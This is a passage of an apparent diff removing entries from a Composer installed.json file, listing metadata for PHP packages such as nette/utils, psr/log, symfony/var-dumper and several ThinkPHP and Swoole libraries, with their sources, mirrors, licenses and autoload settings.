"https://github.com/thephpleague/mime-type-detection/issues", - "source": "https://github.com/thephpleague/mime-type-detection/tree/1.5.1" - }, - "funding": [ - { - "url": "https://github.com/frankdejonge", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/league/flysystem", - "type": "tidelift" - } - ], - "install-path": "../league/mime-type-detection" - }, - { - "name": "nette/php-generator", - "version": "v3.4.1", - "version_normalized": "3.4.1.0", - "source": { - "type": "git", - "url": "https://github.com/nette/php-generator.git", - "reference": "7051954c534cebafd650efe8b145ac75b223cb66" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/nette/php-generator/zipball/7051954c534cebafd650efe8b145ac75b223cb66", - "reference": "7051954c534cebafd650efe8b145ac75b223cb66", - "shasum": "", - "mirrors": [ - { - "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", - "preferred": true - } - ] - }, - "require": { - "nette/utils": "^2.4.2 || ^3.0", - "php": ">=7.1" - }, - "require-dev": { - "nette/tester": "^2.0", - "nikic/php-parser": "^4.4", - "phpstan/phpstan": "^0.12", - "tracy/tracy": "^2.3" - }, - "suggest": { - "nikic/php-parser": "to use ClassType::withBodiesFrom() & GlobalFunction::withBodyFrom()" - }, - "time": "2020-06-19T14:31:47+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "3.4-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause", - "GPL-2.0-only", - "GPL-3.0-only" - ], - "authors": [ - { - "name": "David Grudl", - "homepage": "https://davidgrudl.com" - }, - { - "name": "Nette Community", - "homepage": "https://nette.org/contributors" - } - ], - "description": "🐘 Nette PHP Generator: generates neat PHP code for you. Supports new PHP 7.4 features.", - "homepage": "https://nette.org", - "keywords": [ - "code", - "nette", - "php", - "scaffolding" - ], - "support": { - "issues": "https://github.com/nette/php-generator/issues", - "source": "https://github.com/nette/php-generator/tree/master" - }, - "install-path": "../nette/php-generator" - }, - { - "name": "nette/utils", - "version": "v3.1.3", - "version_normalized": "3.1.3.0", - "source": { - "type": "git", - "url": "https://github.com/nette/utils.git", - "reference": "c09937fbb24987b2a41c6022ebe84f4f1b8eec0f" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/nette/utils/zipball/c09937fbb24987b2a41c6022ebe84f4f1b8eec0f", - "reference": "c09937fbb24987b2a41c6022ebe84f4f1b8eec0f", - "shasum": "", - "mirrors": [ - { - "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", - "preferred": true - } - ] - }, - "require": { - "php": ">=7.1" - }, - "require-dev": { - "nette/tester": "~2.0", - "phpstan/phpstan": "^0.12", - "tracy/tracy": "^2.3" - }, - "suggest": { - "ext-gd": "to use Image", - "ext-iconv": "to use Strings::webalize(), toAscii(), chr() and reverse()", - "ext-intl": "to use Strings::webalize(), toAscii(), normalize() and compare()", - "ext-json": "to use Nette\\Utils\\Json", - "ext-mbstring": "to use Strings::lower() etc...", - "ext-tokenizer": "to use Nette\\Utils\\Reflection::getUseStatements()", - "ext-xml": "to use Strings::length() etc. when mbstring is not available" - }, - "time": "2020-08-07T10:34:21+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "3.1-dev" - } - }, - "installation-source": "dist", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause", - "GPL-2.0-only", - "GPL-3.0-only" - ], - "authors": [ - { - "name": "David Grudl", - "homepage": "https://davidgrudl.com" - }, - { - "name": "Nette Community", - "homepage": "https://nette.org/contributors" - } - ], - "description": "🛠 Nette Utils: lightweight utilities for string & array manipulation, image handling, safe JSON encoding/decoding, validation, slug or strong password generating etc.", - "homepage": "https://nette.org", - "keywords": [ - "array", - "core", - "datetime", - "images", - "json", - "nette", - "paginator", - "password", - "slugify", - "string", - "unicode", - "utf-8", - "utility", - "validation" - ], - "support": { - "issues": "https://github.com/nette/utils/issues", - "source": "https://github.com/nette/utils/tree/v3.1.3" - }, - "install-path": "../nette/utils" - }, - { - "name": "open-smf/connection-pool", - "version": "v1.0.15", - "version_normalized": "1.0.15.0", - "source": { - "type": "git", - "url": "https://github.com/open-smf/connection-pool.git", - "reference": "f9289cb5ee61d3e901bc74ab745e5b2162461a1e" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/open-smf/connection-pool/zipball/f9289cb5ee61d3e901bc74ab745e5b2162461a1e", - "reference": "f9289cb5ee61d3e901bc74ab745e5b2162461a1e", - "shasum": "", - "mirrors": [ - { - "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", - "preferred": true - } - ] - }, - "require": { - "ext-json": "*", - "ext-swoole": ">=4.2.9", - "php": ">=7.0.0" - }, - "require-dev": { - "swoole/ide-helper": "@dev" - }, - "suggest": { - "ext-redis": "A PHP extension for Redis." - }, - "time": "2020-05-29T05:20:59+00:00", - "type": "library", - "installation-source": "dist", - "autoload": { - "psr-4": { - "Smf\\ConnectionPool\\": "src" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Xie Biao", - "email": "hhxsv5@sina.com" - } - ], - "description": "A common connection pool based on Swoole is usually used as the database connection pool.", - "homepage": "https://github.com/open-smf/connection-pool", - "keywords": [ - "connection-pool", - "database-connection-pool", - "swoole" - ], - "support": { - "issues": "https://github.com/open-smf/connection-pool/issues", - "source": "https://github.com/open-smf/connection-pool" - }, - "install-path": "../open-smf/connection-pool" - }, - { - "name": "psr/cache", - "version": "1.0.1", - "version_normalized": "1.0.1.0", - "source": { - "type": "git", - "url": "https://github.com/php-fig/cache.git", - "reference": "d11b50ad223250cf17b86e38383413f5a6764bf8" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/php-fig/cache/zipball/d11b50ad223250cf17b86e38383413f5a6764bf8", - "reference": "d11b50ad223250cf17b86e38383413f5a6764bf8", - "shasum": "", - "mirrors": [ - { - "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", - "preferred": true - } - ] - }, - "require": { - "php": ">=5.3.0" - }, - "time": "2016-08-06T20:24:11+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.0.x-dev" - } - }, - "installation-source": "dist", - "autoload": { - "psr-4": { - "Psr\\Cache\\": "src/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "PHP-FIG", - "homepage": "http://www.php-fig.org/" - } - ], - "description": "Common interface for caching libraries", - "keywords": [ - "cache", - "psr", - "psr-6" - ], - "install-path": "../psr/cache" - }, - { - "name": "psr/container", - "version": "1.0.0", - "version_normalized": "1.0.0.0", - "source": { - "type": "git", - "url": "https://github.com/php-fig/container.git", - "reference": "b7ce3b176482dbbc1245ebf52b181af44c2cf55f" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/php-fig/container/zipball/b7ce3b176482dbbc1245ebf52b181af44c2cf55f", - "reference": "b7ce3b176482dbbc1245ebf52b181af44c2cf55f", - "shasum": "", - "mirrors": [ - { - "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", - "preferred": true - } - ] - }, - "require": { - "php": ">=5.3.0" - }, - "time": "2017-02-14T16:28:37+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.0.x-dev" - } - }, - "installation-source": "dist", - "autoload": { - "psr-4": { - "Psr\\Container\\": "src/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "PHP-FIG", - "homepage": "http://www.php-fig.org/" - } - ], - "description": "Common Container Interface (PHP FIG PSR-11)", - "homepage": "https://github.com/php-fig/container", - "keywords": [ - "PSR-11", - "container", - "container-interface", - "container-interop", - "psr" - ], - "install-path": "../psr/container" - }, - { - "name": "psr/log", - "version": "1.1.3", - "version_normalized": "1.1.3.0", - "source": { - "type": "git", - "url": "https://github.com/php-fig/log.git", - "reference": "0f73288fd15629204f9d42b7055f72dacbe811fc" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/php-fig/log/zipball/0f73288fd15629204f9d42b7055f72dacbe811fc", - "reference": "0f73288fd15629204f9d42b7055f72dacbe811fc", - "shasum": "", - "mirrors": [ - { - "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", - "preferred": true - } - ] - }, - "require": { - "php": ">=5.3.0" - }, - "time": "2020-03-23T09:12:05+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.1.x-dev" - } - }, - "installation-source": "dist", - "autoload": { - "psr-4": { - "Psr\\Log\\": "Psr/Log/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "PHP-FIG", - "homepage": "http://www.php-fig.org/" - } - ], - "description": "Common interface for logging libraries", - "homepage": "https://github.com/php-fig/log", - "keywords": [ - "log", - "psr", - "psr-3" - ], - "install-path": "../psr/log" - }, - { - "name": "psr/simple-cache", - "version": "1.0.1", - "version_normalized": "1.0.1.0", - "source": { - "type": "git", - "url": "https://github.com/php-fig/simple-cache.git", - "reference": "408d5eafb83c57f6365a3ca330ff23aa4a5fa39b" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/php-fig/simple-cache/zipball/408d5eafb83c57f6365a3ca330ff23aa4a5fa39b", - "reference": "408d5eafb83c57f6365a3ca330ff23aa4a5fa39b", - "shasum": "", - "mirrors": [ - { - "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", - "preferred": true - } - ] - }, - "require": { - "php": ">=5.3.0" - }, - "time": "2017-10-23T01:57:42+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.0.x-dev" - } - }, - "installation-source": "dist", - "autoload": { - "psr-4": { - "Psr\\SimpleCache\\": "src/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "PHP-FIG", - "homepage": "http://www.php-fig.org/" - } - ], - "description": "Common interfaces for simple caching", - "keywords": [ - "cache", - "caching", - "psr", - "psr-16", - "simple-cache" - ], - "install-path": "../psr/simple-cache" - }, - { - "name": "swoole/ide-helper", - "version": "4.5.6", - "version_normalized": "4.5.6.0", - "source": { - "type": "git", - "url": "https://github.com/swoole/ide-helper.git", - "reference": "ab23c2c35880144a6060a3f178a68af0d0c6fc93" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/swoole/ide-helper/zipball/ab23c2c35880144a6060a3f178a68af0d0c6fc93", - "reference": "ab23c2c35880144a6060a3f178a68af0d0c6fc93", - "shasum": "", - "mirrors": [ - { - "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", - "preferred": true - } - ] - }, - "require-dev": { - "guzzlehttp/guzzle": "~6.5.0", - "laminas/laminas-code": "~3.4.0", - "squizlabs/php_codesniffer": "~3.5.0", - "symfony/filesystem": "~4.0" - }, - "time": "2020-10-27T16:11:26+00:00", - "type": "library", - "installation-source": "dist", - "notification-url": "https://packagist.org/downloads/", - "license": [ - "Apache-2.0" - ], - "authors": [ - { - "name": "Team Swoole", - "email": "team@swoole.com" - } - ], - "description": "IDE help files for Swoole.", - "support": { - "issues": "https://github.com/swoole/ide-helper/issues", - "source": "https://github.com/swoole/ide-helper/tree/4.5.6" - }, - "install-path": "../swoole/ide-helper" - }, - { - "name": "symfony/finder", - "version": "v4.4.16", - "version_normalized": "4.4.16.0", - "source": { - "type": "git", - "url": "https://github.com/symfony/finder.git", - "reference": "26f63b8d4e92f2eecd90f6791a563ebb001abe31" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/symfony/finder/zipball/26f63b8d4e92f2eecd90f6791a563ebb001abe31", - "reference": "26f63b8d4e92f2eecd90f6791a563ebb001abe31", - "shasum": "", - "mirrors": [ - { - "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", - "preferred": true - } - ] - }, - "require": { - "php": ">=7.1.3" - }, - "time": "2020-10-24T11:50:19+00:00", - "type": "library", - "installation-source": "dist", - "autoload": { - "psr-4": { - "Symfony\\Component\\Finder\\": "" - }, - "exclude-from-classmap": [ - "/Tests/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Fabien Potencier", - "email": "fabien@symfony.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "description": "Symfony Finder Component", - "homepage": "https://symfony.com", - "support": { - "source": "https://github.com/symfony/finder/tree/v4.4.16" - }, - "funding": [ - { - "url": "https://symfony.com/sponsor", - "type": "custom" - }, - { - "url": "https://github.com/fabpot", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", - "type": "tidelift" - } - ], - "install-path": "../symfony/finder" - }, - { - "name": "symfony/polyfill-mbstring", - "version": "v1.20.0", - "version_normalized": "1.20.0.0", - "source": { - "type": "git", - "url": "https://github.com/symfony/polyfill-mbstring.git", - "reference": "39d483bdf39be819deabf04ec872eb0b2410b531" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/39d483bdf39be819deabf04ec872eb0b2410b531", - "reference": "39d483bdf39be819deabf04ec872eb0b2410b531", - "shasum": "", - "mirrors": [ - { - "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", - "preferred": true - } - ] - }, - "require": { - "php": ">=7.1" - }, - "suggest": { - "ext-mbstring": "For best performance" - }, - "time": "2020-10-23T14:02:19+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-main": "1.20-dev" - }, - "thanks": { - "name": "symfony/polyfill", - "url": "https://github.com/symfony/polyfill" - } - }, - "installation-source": "dist", - "autoload": { - "psr-4": { - "Symfony\\Polyfill\\Mbstring\\": "" - }, - "files": [ - "bootstrap.php" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Nicolas Grekas", - "email": "p@tchwork.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "description": "Symfony polyfill for the Mbstring extension", - "homepage": "https://symfony.com", - "keywords": [ - "compatibility", - "mbstring", - "polyfill", - "portable", - "shim" - ], - "support": { - "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.20.0" - }, - "funding": [ - { - "url": "https://symfony.com/sponsor", - "type": "custom" - }, - { - "url": "https://github.com/fabpot", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", - "type": "tidelift" - } - ], - "install-path": "../symfony/polyfill-mbstring" - }, - { - "name": "symfony/polyfill-php72", - "version": "v1.20.0", - "version_normalized": "1.20.0.0", - "source": { - "type": "git", - "url": "https://github.com/symfony/polyfill-php72.git", - "reference": "cede45fcdfabdd6043b3592e83678e42ec69e930" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-php72/zipball/cede45fcdfabdd6043b3592e83678e42ec69e930", - "reference": "cede45fcdfabdd6043b3592e83678e42ec69e930", - "shasum": "", - "mirrors": [ - { - "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", - "preferred": true - } - ] - }, - "require": { - "php": ">=7.1" - }, - "time": "2020-10-23T14:02:19+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-main": "1.20-dev" - }, - "thanks": { - "name": "symfony/polyfill", - "url": "https://github.com/symfony/polyfill" - } - }, - "installation-source": "dist", - "autoload": { - "psr-4": { - "Symfony\\Polyfill\\Php72\\": "" - }, - "files": [ - "bootstrap.php" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Nicolas Grekas", - "email": "p@tchwork.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "description": "Symfony polyfill backporting some PHP 7.2+ features to lower PHP versions", - "homepage": "https://symfony.com", - "keywords": [ - "compatibility", - "polyfill", - "portable", - "shim" - ], - "support": { - "source": "https://github.com/symfony/polyfill-php72/tree/v1.20.0" - }, - "funding": [ - { - "url": "https://symfony.com/sponsor", - "type": "custom" - }, - { - "url": "https://github.com/fabpot", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", - "type": "tidelift" - } - ], - "install-path": "../symfony/polyfill-php72" - }, - { - "name": "symfony/polyfill-php80", - "version": "v1.20.0", - "version_normalized": "1.20.0.0", - "source": { - "type": "git", - "url": "https://github.com/symfony/polyfill-php80.git", - "reference": "e70aa8b064c5b72d3df2abd5ab1e90464ad009de" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/e70aa8b064c5b72d3df2abd5ab1e90464ad009de", - "reference": "e70aa8b064c5b72d3df2abd5ab1e90464ad009de", - "shasum": "", - "mirrors": [ - { - "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", - "preferred": true - } - ] - }, - "require": { - "php": ">=7.1" - }, - "time": "2020-10-23T14:02:19+00:00", - "type": "library", - "extra": { - "branch-alias": { - "dev-main": "1.20-dev" - }, - "thanks": { - "name": "symfony/polyfill", - "url": "https://github.com/symfony/polyfill" - } - }, - "installation-source": "dist", - "autoload": { - "psr-4": { - "Symfony\\Polyfill\\Php80\\": "" - }, - "files": [ - "bootstrap.php" - ], - "classmap": [ - "Resources/stubs" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Ion Bazan", - "email": "ion.bazan@gmail.com" - }, - { - "name": "Nicolas Grekas", - "email": "p@tchwork.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "description": "Symfony polyfill backporting some PHP 8.0+ features to lower PHP versions", - "homepage": "https://symfony.com", - "keywords": [ - "compatibility", - "polyfill", - "portable", - "shim" - ], - "support": { - "source": "https://github.com/symfony/polyfill-php80/tree/v1.20.0" - }, - "funding": [ - { - "url": "https://symfony.com/sponsor", - "type": "custom" - }, - { - "url": "https://github.com/fabpot", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", - "type": "tidelift" - } - ], - "install-path": "../symfony/polyfill-php80" - }, - { - "name": "symfony/var-dumper", - "version": "v4.4.16", - "version_normalized": "4.4.16.0", - "source": { - "type": "git", - "url": "https://github.com/symfony/var-dumper.git", - "reference": "3718e18b68d955348ad860e505991802c09f5f73" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/symfony/var-dumper/zipball/3718e18b68d955348ad860e505991802c09f5f73", - "reference": "3718e18b68d955348ad860e505991802c09f5f73", - "shasum": "", - "mirrors": [ - { - "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", - "preferred": true - } - ] - }, - "require": { - "php": ">=7.1.3", - "symfony/polyfill-mbstring": "~1.0", - "symfony/polyfill-php72": "~1.5", - "symfony/polyfill-php80": "^1.15" - }, - "conflict": { - "phpunit/phpunit": "<4.8.35|<5.4.3,>=5.0", - "symfony/console": "<3.4" - }, - "require-dev": { - "ext-iconv": "*", - "symfony/console": "^3.4|^4.0|^5.0", - "symfony/process": "^4.4|^5.0", - "twig/twig": "^1.34|^2.4|^3.0" - }, - "suggest": { - "ext-iconv": "To convert non-UTF-8 strings to UTF-8 (or symfony/polyfill-iconv in case ext-iconv cannot be used).", - "ext-intl": "To show region name in time zone dump", - "symfony/console": "To use the ServerDumpCommand and/or the bin/var-dump-server script" - }, - "time": "2020-10-26T20:47:51+00:00", - "bin": [ - "Resources/bin/var-dump-server" - ], - "type": "library", - "installation-source": "dist", - "autoload": { - "files": [ - "Resources/functions/dump.php" - ], - "psr-4": { - "Symfony\\Component\\VarDumper\\": "" - }, - "exclude-from-classmap": [ - "/Tests/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Nicolas Grekas", - "email": "p@tchwork.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "description": "Symfony mechanism for exploring and dumping PHP variables", - "homepage": "https://symfony.com", - "keywords": [ - "debug", - "dump" - ], - "support": { - "source": "https://github.com/symfony/var-dumper/tree/v4.4.16" - }, - "funding": [ - { - "url": "https://symfony.com/sponsor", - "type": "custom" - }, - { - "url": "https://github.com/fabpot", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", - "type": "tidelift" - } - ], - "install-path": "../symfony/var-dumper" - }, - { - "name": "topthink/framework", - "version": "v6.0.5", - "version_normalized": "6.0.5.0", - "source": { - "type": "git", - "url": "https://github.com/top-think/framework.git", - "reference": "85625d984f5c96699dc27d384869f206c3aec1cc" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/top-think/framework/zipball/85625d984f5c96699dc27d384869f206c3aec1cc", - "reference": "85625d984f5c96699dc27d384869f206c3aec1cc", - "shasum": "", - "mirrors": [ - { - "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", - "preferred": true - } - ] - }, - "require": { - "ext-json": "*", - "ext-mbstring": "*", - "league/flysystem": "^1.0", - "league/flysystem-cached-adapter": "^1.0", - "php": ">=7.1.0", - "psr/container": "~1.0", - "psr/log": "~1.0", - "psr/simple-cache": "^1.0", - "topthink/think-helper": "^3.1.1", - "topthink/think-orm": "^2.0" - }, - "require-dev": { - "mikey179/vfsstream": "^1.6", - "mockery/mockery": "^1.2", - "phpunit/phpunit": "^7.0" - }, - "time": "2020-10-26T07:18:00+00:00", - "type": "library", - "installation-source": "dist", - "autoload": { - "files": [], - "psr-4": { - "think\\": "src/think/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "Apache-2.0" - ], - "authors": [ - { - "name": "liu21st", - "email": "liu21st@gmail.com" - }, - { - "name": "yunwuxin", - "email": "448901948@qq.com" - } - ], - "description": "The ThinkPHP Framework.", - "homepage": "http://thinkphp.cn/", - "keywords": [ - "framework", - "orm", - "thinkphp" - ], - "support": { - "issues": "https://github.com/top-think/framework/issues", - "source": "https://github.com/top-think/framework/tree/v6.0.5" - }, - "install-path": "../topthink/framework" - }, - { - "name": "topthink/think-captcha", - "version": "v3.0.3", - "version_normalized": "3.0.3.0", - "source": { - "type": "git", - "url": "https://github.com/top-think/think-captcha.git", - "reference": "1eef3717c1bcf4f5bbe2d1a1c704011d330a8b55" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/top-think/think-captcha/zipball/1eef3717c1bcf4f5bbe2d1a1c704011d330a8b55", - "reference": "1eef3717c1bcf4f5bbe2d1a1c704011d330a8b55", - "shasum": "", - "mirrors": [ - { - "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", - "preferred": true - } - ] - }, - "require": { - "topthink/framework": "^6.0.0" - }, - "time": "2020-05-19T10:55:45+00:00", - "type": "library", - "extra": { - "think": { - "services": [ - "think\\captcha\\CaptchaService" - ], - "config": { - "captcha": "src/config.php" - } - } - }, - "installation-source": "dist", - "autoload": { - "psr-4": { - "think\\captcha\\": "src/" - }, - "files": [ - "src/helper.php" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "Apache-2.0" - ], - "authors": [ - { - "name": "yunwuxin", - "email": "448901948@qq.com" - } - ], - "description": "captcha package for thinkphp", - "support": { - "issues": "https://github.com/top-think/think-captcha/issues", - "source": "https://github.com/top-think/think-captcha/tree/v3.0.3" - }, - "install-path": "../topthink/think-captcha" - }, - { - "name": "topthink/think-helper", - "version": "v3.1.4", - "version_normalized": "3.1.4.0", - "source": { - "type": "git", - "url": "https://github.com/top-think/think-helper.git", - "reference": "c28d37743bda4a0455286ca85b17b5791d626e10" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/top-think/think-helper/zipball/c28d37743bda4a0455286ca85b17b5791d626e10", - "reference": "c28d37743bda4a0455286ca85b17b5791d626e10", - "shasum": "", - "mirrors": [ - { - "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", - "preferred": true - } - ] - }, - "require": { - "php": ">=7.1.0" - }, - "time": "2019-11-08T08:01:10+00:00", - "type": "library", - "installation-source": "dist", - "autoload": { - "psr-4": { - "think\\": "src" - }, - "files": [ - "src/helper.php" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "Apache-2.0" - ], - "authors": [ - { - "name": "yunwuxin", - "email": "448901948@qq.com" - } - ], - "description": "The ThinkPHP6 Helper Package", - "support": { - "issues": "https://github.com/top-think/think-helper/issues", - "source": "https://github.com/top-think/think-helper/tree/3.0" - }, - "install-path": "../topthink/think-helper" - }, - { - "name": "topthink/think-multi-app", - "version": "v1.0.14", - "version_normalized": "1.0.14.0", - "source": { - "type": "git", - "url": "https://github.com/top-think/think-multi-app.git", - "reference": "ccaad7c2d33f42cb1cc2a78d6610aaec02cea4c3" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/top-think/think-multi-app/zipball/ccaad7c2d33f42cb1cc2a78d6610aaec02cea4c3", - "reference": "ccaad7c2d33f42cb1cc2a78d6610aaec02cea4c3", - "shasum": "", - "mirrors": [ - { - "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", - "preferred": true - } - ] - }, - "require": { - "php": ">=7.1.0", - "topthink/framework": "^6.0.0" - }, - "time": "2020-07-12T13:50:37+00:00", - "type": "library", - "extra": { - "think": { - "services": [ - "think\\app\\Service" - ] - } - }, - "installation-source": "dist", - "autoload": { - "psr-4": { - "think\\app\\": "src" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "Apache-2.0" - ], - "authors": [ - { - "name": "liu21st", - "email": "liu21st@gmail.com" - } - ], - "description": "thinkphp6 multi app support", - "support": { - "issues": "https://github.com/top-think/think-multi-app/issues", - "source": "https://github.com/top-think/think-multi-app/tree/master" - }, - "install-path": "../topthink/think-multi-app" - }, - { - "name": "topthink/think-orm", - "version": "v2.0.34", - "version_normalized": "2.0.34.0", - "source": { - "type": "git", - "url": "https://github.com/top-think/think-orm.git", - "reference": "57f9b98895b0ff4ae7b7b75e51456fd8cb8fb629" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/top-think/think-orm/zipball/57f9b98895b0ff4ae7b7b75e51456fd8cb8fb629", - "reference": "57f9b98895b0ff4ae7b7b75e51456fd8cb8fb629", - "shasum": "", - "mirrors": [ - { - "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", - "preferred": true - } - ] - }, - "require": { - "ext-json": "*", - "php": ">=7.1.0", - "psr/log": "~1.0", - "psr/simple-cache": "^1.0", - "topthink/think-helper": "^3.1" - }, - "time": "2020-09-28T08:24:57+00:00", - "type": "library", - "installation-source": "dist", - "autoload": { - "psr-4": { - "think\\": "src" - }, - "files": [] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "Apache-2.0" - ], - "authors": [ - { - "name": "liu21st", - "email": "liu21st@gmail.com" - } - ], - "description": "think orm", - "keywords": [ - "database", - "orm" - ], - "support": { - "issues": "https://github.com/top-think/think-orm/issues", - "source": "https://github.com/top-think/think-orm/tree/v2.0.34" - }, - "install-path": "../topthink/think-orm" - }, - { - "name": "topthink/think-swoole", - "version": "v3.0.9", - "version_normalized": "3.0.9.0", - "source": { - "type": "git", - "url": "https://github.com/top-think/think-swoole.git", - "reference": "c61e95cdc0669f4fe3382e25def9ae25797c0508" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/top-think/think-swoole/zipball/c61e95cdc0669f4fe3382e25def9ae25797c0508", - "reference": "c61e95cdc0669f4fe3382e25def9ae25797c0508", - "shasum": "", - "mirrors": [ - { - "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", - "preferred": true - } - ] - }, - "require": { - "ext-json": "*", - "ext-swoole": ">=4.4.8", - "nette/php-generator": "^3.2", - "open-smf/connection-pool": "~1.0", - "php": ">7.1", - "swoole/ide-helper": "^4.3", - "symfony/finder": "^4.3.2", - "topthink/framework": "^6.0" - }, - "require-dev": { - "symfony/var-dumper": "^4.3" - }, - "time": "2020-08-08T14:39:00+00:00", - "type": "library", - "extra": { - "think": { - "services": [ - "think\\swoole\\Service" - ], - "config": { - "swoole": "src/config/swoole.php" - } - } - }, - "installation-source": "dist", - "autoload": { - "psr-4": { - "think\\swoole\\": "src" - }, - "files": [ - "src/helpers.php" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "Apache-2.0" - ], - "authors": [ - { - "name": "liu21st", - "email": "liu21st@gmail.com" - } - ], - "description": "Swoole extend for thinkphp", - "support": { - "issues": "https://github.com/top-think/think-swoole/issues", - "source": "https://github.com/top-think/think-swoole/tree/v3.0.9" - }, - "install-path": "../topthink/think-swoole" - }, - { - "name": "topthink/think-template", - "version": "v2.0.7", - "version_normalized": "2.0.7.0", - "source": { - "type": "git", - "url": "https://github.com/top-think/think-template.git", - "reference": "e98bdbb4a4c94b442f17dfceba81e0134d4fbd19" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/top-think/think-template/zipball/e98bdbb4a4c94b442f17dfceba81e0134d4fbd19", - "reference": "e98bdbb4a4c94b442f17dfceba81e0134d4fbd19", - "shasum": "", - "mirrors": [ - { - "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%", - "preferred": true - } - ] - }, - "require": { - "php": ">=7.1.0", - "psr/simple-cache": "^1.0" - }, - "time": "2019-09-20T15:31:04+00:00", - "type": "library", - "installation-source": "dist", - "autoload": { - "psr-4": { - "think\\": "src" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "Apache-2.0" - ], - "authors": [ - { - "name": "liu21st", - "email": "liu21st@gmail.com" - } - ], - "description": 